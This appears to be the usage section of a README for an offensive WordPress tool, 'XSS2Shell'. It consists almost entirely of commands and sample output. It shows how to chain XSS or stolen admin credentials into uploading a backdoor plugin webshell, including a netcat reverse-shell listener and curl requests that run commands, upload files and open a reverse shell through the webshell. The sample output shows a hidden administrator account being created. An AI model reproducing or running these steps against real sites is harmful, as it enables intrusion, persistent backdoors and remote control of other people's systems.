# Clone
git clone https://github.com/g0d150ne/XSS2Shell.git
cd XSS2Shell

# Install dependencies
pip3 install requests beautifulsoup4 cryptography

# Run
python3 poc.py -h

# Open terminal for reverse shell
nc -lvnp 4444

python3 poc.py http://target.com -u admin -p pass123 --lhost 192.168.1.100

python3 poc.py http://target.com --mode xss --lhost 192.168.1.100

python3 poc.py http://target.com -u admin -p pass123 --mode direct --lhost 192.168.1.100

# Base64 encoded (recommended)
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?b2h='$(echo -n 'id' | base64)

# Plain command
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?cmd=whoami'

# Upload file
curl -F '[email protected]' http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php

# Reverse shell
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?rev=1'

# 1. Auto scan + exploit
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5

# 2. XSS chain without credentials
python3 poc.py http://wordpress-site.com --mode xss --lhost 10.0.0.5

# 3. Custom port & plugin name
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5 --lport 1337 --slug backdoor

# 4. Change backdoor password
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5 --backdoor-pass MySecretPass

# 5. Custom callback port
python3 poc.py http://wordpress-site.com --mode xss --lhost 10.0.0.5 --callback-port 9999

╔══════════════════════════════════════════════════════════════════╗
║  Target   : http://wordpress-site.com
║  Attacker : 192.168.1.100:4444
║  Plugin   : g0d150ne
║  Mode     : AUTO
╚══════════════════════════════════════════════════════════════════╝

[•] Detecting WordPress version...
[+] WordPress version: 6.7.0
[•] Testing XSS vulnerability...
[+] XSS vulnerable! Vector: <area id=ajaxurl...
[+] Login successful as admin
[+] Plugin uploaded successfully
[+] Webshell ready: http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php
[+] Test: uid=33(www-data)

╔══════════════════════════════════════════════════════════════════╗
║  [+] EXPLOIT SUCCESSFUL                                          ║
╠══════════════════════════════════════════════════════════════════╣
║  WEBSHELL:                                                       ║
║    http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php    ║
║  ADMIN USER CREATED:                                             ║
║    Username: sysadmin_g0d150ne                                   ║
║    Password: G0D150NE                                            ║
╚══════════════════════════════════════════════════════════════════╝